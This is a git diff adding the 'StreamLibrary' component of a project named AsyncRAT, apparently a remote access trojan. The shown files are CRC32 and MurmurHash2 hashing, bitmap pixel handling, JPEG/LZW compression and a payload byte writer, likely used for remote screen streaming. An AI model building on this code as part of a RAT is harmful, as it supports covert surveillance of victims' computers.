/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
|
||||
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
|
||||
#endregion
|
||||
|
||||
#region METHODS
|
||||
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
|
||||
public override void Initialize()
|
||||
{
|
||||
_crc = _allOnes;
|
||||
}
|
||||
|
||||
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
|
||||
protected override void HashCore(byte[] buffer, int offset, int count)
|
||||
{
|
||||
for (int i = offset; i < count; i++)
|
||||
{
|
||||
ulong ptr = (_crc & 0xFF) ^ buffer[i];
|
||||
_crc >>= 8;
|
||||
_crc ^= _crc32Table[ptr];
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
|
||||
protected override byte[] HashFinal()
|
||||
{
|
||||
byte[] finalHash = new byte[4];
|
||||
ulong finalCRC = _crc ^ _allOnes;
|
||||
|
||||
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
|
||||
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
|
||||
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
|
||||
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
|
||||
|
||||
return finalHash;
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(string asciiString)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(asciiString));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(Stream inputStream)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(inputStream));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer, int offset, int count)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given ASCII string.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
public byte[] ComputeHash(string asciiString)
|
||||
{
|
||||
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
|
||||
return ComputeHash(rawBytes);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given input stream.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(Stream inputStream)
|
||||
{
|
||||
byte[] buffer = new byte[4096];
|
||||
int bytesRead;
|
||||
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
|
||||
{
|
||||
HashCore(buffer, 0, bytesRead);
|
||||
}
|
||||
return HashFinal();
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer)
|
||||
{
|
||||
return ComputeHash(buffer, 0, buffer.Length);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
|
||||
{
|
||||
HashCore(buffer, offset, count);
|
||||
return HashFinal();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PRIVATE SECTION
|
||||
private static uint _allOnes = 0xffffffff;
|
||||
private static CRC32 _defaultCRC;
|
||||
private static Hashtable _crc32TablesCache;
|
||||
private uint[] _crc32Table;
|
||||
private uint _crc;
|
||||
|
||||
// Builds a crc32 table given a polynomial
|
||||
private static uint[] _buildCRC32Table(uint polynomial)
|
||||
{
|
||||
uint crc;
|
||||
uint[] table = new uint[256];
|
||||
|
||||
// 256 values representing ASCII character codes.
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
crc = (uint)i;
|
||||
for (int j = 8; j > 0; j--)
|
||||
{
|
||||
if ((crc & 1) == 1)
|
||||
crc = (crc >> 1) ^ polynomial;
|
||||
else
|
||||
crc >>= 1;
|
||||
}
|
||||
table[i] = crc;
|
||||
}
|
||||
|
||||
return table;
|
||||
}
|
||||
|
||||
private static int ToInt32(byte[] buffer)
|
||||
{
|
||||
return BitConverter.ToInt32(buffer, 0);
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,12 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace System.Runtime.CompilerServices
|
||||
{
|
||||
[AttributeUsage(AttributeTargets.Method)]
|
||||
public sealed class ExtensionAttribute : Attribute
|
||||
{
|
||||
public ExtensionAttribute() { }
|
||||
}
|
||||
}
|
||||
59
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs
Normal file
59
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs
Normal file
@ -0,0 +1,59 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public static unsafe class Extensions
|
||||
{
|
||||
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
for (int i = 0; i < rects.Length; i++)
|
||||
{
|
||||
if (!Rects.ContainsKey(rects[i].Y))
|
||||
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
|
||||
|
||||
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
|
||||
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
|
||||
}
|
||||
return Rects;
|
||||
}
|
||||
|
||||
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
|
||||
for (int i = 0; i < Rects.Values.Count; i++)
|
||||
{
|
||||
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
|
||||
{
|
||||
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
|
||||
}
|
||||
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
|
||||
{
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
|
||||
}
|
||||
|
||||
Rectangle EndRect = Rects.Values[i].Values[0];
|
||||
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
|
||||
{
|
||||
Rectangle CurRect = Rects.Values[i].Values[x];
|
||||
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
|
||||
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
|
||||
{
|
||||
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
}
|
||||
else
|
||||
{
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
|
||||
}
|
||||
}
|
||||
}
|
||||
return RectRows;
|
||||
}
|
||||
}
|
||||
}
|
||||
353
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs
Normal file
353
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs
Normal file
@ -0,0 +1,353 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class FastBitmap
|
||||
{
|
||||
public Bitmap bitmap { get; set; }
|
||||
public BitmapData bitmapData { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public PixelFormat format { get; private set; }
|
||||
public DateTime BitmapCreatedAt;
|
||||
public bool IsLocked { get; private set; }
|
||||
|
||||
public int Stride
|
||||
{
|
||||
get { return bitmapData.Stride; }
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap, PixelFormat format)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap)
|
||||
{
|
||||
this.format = bitmap.PixelFormat;
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
byte A = position[3];
|
||||
byte R = position[2];
|
||||
byte G = position[1];
|
||||
byte B = position[0];
|
||||
return Color.FromArgb(A, R, G, B);
|
||||
}
|
||||
|
||||
public void SetPixel(int x, int y, Color color)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
position[3] = color.A;
|
||||
position[2] = color.R;
|
||||
position[1] = color.G;
|
||||
position[0] = color.B;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
byte R = ImgData[offset];
|
||||
byte G = ImgData[offset + 1];
|
||||
byte B = ImgData[offset + 2];
|
||||
return Color.FromArgb(255, R, G, B);
|
||||
}
|
||||
return Color.FromArgb(255, 0, 0, 0);
|
||||
}
|
||||
public void SetPixel(int x, int y, Color color, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
ImgData[offset] = color.R;
|
||||
ImgData[offset + 1] = color.G;
|
||||
ImgData[offset + 2] = color.B;
|
||||
ByteArrayToBitmap(ImgData);
|
||||
}
|
||||
}
|
||||
|
||||
public void DrawRectangle(Point begin, Point end, Color color)
|
||||
{
|
||||
for (int x = begin.X; x < end.X; x++)
|
||||
{
|
||||
for (int y = begin.Y; y < end.Y; y++)
|
||||
{
|
||||
SetPixel(x, y, color);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Int64 CalcOffset(int x, int y)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * bitmapData.Stride) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * bitmapData.Stride) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * bitmapData.Stride) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x * 8);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * (width * 4)) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * (width * 3)) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * width) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * (width / 2)) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * (width * 8)) + (x * 8);
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
|
||||
{
|
||||
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
|
||||
for (int x = BeginPoint.X; x < this.Width; x++)
|
||||
{
|
||||
Color prevColor = GetPixel(x, BeginPoint.Y);
|
||||
|
||||
if (curColor.R != prevColor.R ||
|
||||
curColor.G != prevColor.G ||
|
||||
curColor.B != prevColor.B)
|
||||
{
|
||||
EndPoint = new Point(x, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
EndPoint = new Point(this.Width, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
}
|
||||
|
||||
public void Unlock()
|
||||
{
|
||||
if (IsLocked)
|
||||
{
|
||||
bitmap.UnlockBits(bitmapData);
|
||||
IsLocked = false;
|
||||
}
|
||||
}
|
||||
public void Lock()
|
||||
{
|
||||
if (!IsLocked)
|
||||
{
|
||||
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
|
||||
IsLocked = true;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ToByteArray()
|
||||
{
|
||||
int bytes = Math.Abs(bitmapData.Stride) * Height;
|
||||
byte[] rgbValues = new byte[bytes];
|
||||
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
|
||||
return rgbValues;
|
||||
}
|
||||
|
||||
public void ByteArrayToBitmap(byte[] data)
|
||||
{
|
||||
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (bitmap != null)
|
||||
{
|
||||
try { bitmap.UnlockBits(bitmapData); }
|
||||
catch { }
|
||||
try { bitmap.Dispose(); }
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
bitmap = null;
|
||||
bitmapData = null;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points where to read from in a byte array </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
|
||||
{
|
||||
List<ArrayOffset> offsets = new List<ArrayOffset>();
|
||||
|
||||
for (int y = beginPoint.Y; y < endPoint.Y; y++)
|
||||
{
|
||||
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
|
||||
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return offsets.ToArray();
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points in 2D </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
|
||||
{
|
||||
int Width = endPoint.X - beginPoint.X;
|
||||
int Height = endPoint.Y - beginPoint.Y;
|
||||
|
||||
float Wsize = ((float)Width / (float)SlicePieces);
|
||||
float Hsize = ((float)Height / (float)SlicePieces);
|
||||
|
||||
//+1 just to make sure we are not going outside the array
|
||||
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
|
||||
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
|
||||
|
||||
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
|
||||
Point tmp = new Point(0, 0);
|
||||
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
|
||||
{
|
||||
for (int x = beginPoint.X; x < Width; x += SlicePieces)
|
||||
{
|
||||
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
|
||||
tmp.X++;
|
||||
}
|
||||
tmp.X = 0;
|
||||
tmp.Y++;
|
||||
}
|
||||
return ImageArrayOffsets;
|
||||
}
|
||||
}
|
||||
|
||||
public class ArrayOffset
|
||||
{
|
||||
public int BeginOffset { get; private set; }
|
||||
public int EndOffset { get; private set; }
|
||||
public int Stride { get; private set; }
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
|
||||
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
|
||||
{
|
||||
this.BeginOffset = begin;
|
||||
this.EndOffset = end;
|
||||
this.Stride = Stride;
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,52 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int num2 = imageEncoders.Length - 1;
|
||||
for (int i = 0; i <= num2; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,55 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class LzwCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public LzwCompression(int Quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int i = 0; i < imageEncoders.Length; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class MurmurHash2Unsafe
|
||||
{
|
||||
const UInt32 m = 0x5bd1e995;
|
||||
const Int32 r = 24;
|
||||
|
||||
public unsafe UInt32 Hash(Byte* data, int length)
|
||||
{
|
||||
if (length == 0)
|
||||
return 0;
|
||||
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
|
||||
Int32 remainingBytes = length & 3; // mod 4
|
||||
Int32 numberOfLoops = length >> 2; // div 4
|
||||
UInt32* realData = (UInt32*)data;
|
||||
while (numberOfLoops != 0)
|
||||
{
|
||||
UInt32 k = *realData;
|
||||
k *= m;
|
||||
k ^= k >> r;
|
||||
k *= m;
|
||||
|
||||
h *= m;
|
||||
h ^= k;
|
||||
numberOfLoops--;
|
||||
realData++;
|
||||
}
|
||||
switch (remainingBytes)
|
||||
{
|
||||
case 3:
|
||||
h ^= (UInt16)(*realData);
|
||||
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
|
||||
h *= m;
|
||||
break;
|
||||
case 2:
|
||||
h ^= (UInt16)(*realData);
|
||||
h *= m;
|
||||
break;
|
||||
case 1:
|
||||
h ^= *((Byte*)realData);
|
||||
h *= m;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// Do a few final mixes of the hash to ensure the last few
|
||||
// bytes are well-incorporated.
|
||||
|
||||
h ^= h >> 13;
|
||||
h *= m;
|
||||
h ^= h >> 15;
|
||||
|
||||
return h;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,22 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
}
|
||||
}
|
||||
113
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs
Normal file
113
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs
Normal file
@ -0,0 +1,113 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class PayloadWriter : IDisposable
|
||||
{
|
||||
public Stream vStream { get; set; }
|
||||
public PayloadWriter()
|
||||
{
|
||||
vStream = new MemoryStream();
|
||||
}
|
||||
public PayloadWriter(Stream stream)
|
||||
{
|
||||
vStream = stream;
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value)
|
||||
{
|
||||
vStream.Write(value, 0, value.Length);
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value, int Offset, int Length)
|
||||
{
|
||||
vStream.Write(value, Offset, Length);
|
||||
}
|
||||
|
||||
public void WriteInteger(int value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// A integer with 3 bytes not 4
|
||||
/// </summary>
|
||||
public void WriteThreeByteInteger(int value)
|
||||
{
|
||||
WriteByte((byte)value);
|
||||
WriteByte((byte)(value >> 8));
|
||||
WriteByte((byte)(value >> 16));
|
||||
}
|
||||
|
||||
public void WriteUInteger(uint value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteShort(short value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteUShort(ushort value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteULong(ulong value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteByte(byte value)
|
||||
{
|
||||
vStream.WriteByte(value);
|
||||
}
|
||||
|
||||
public void WriteBool(bool value)
|
||||
{
|
||||
WriteByte(value ? (byte)1 : (byte)0);
|
||||
}
|
||||
|
||||
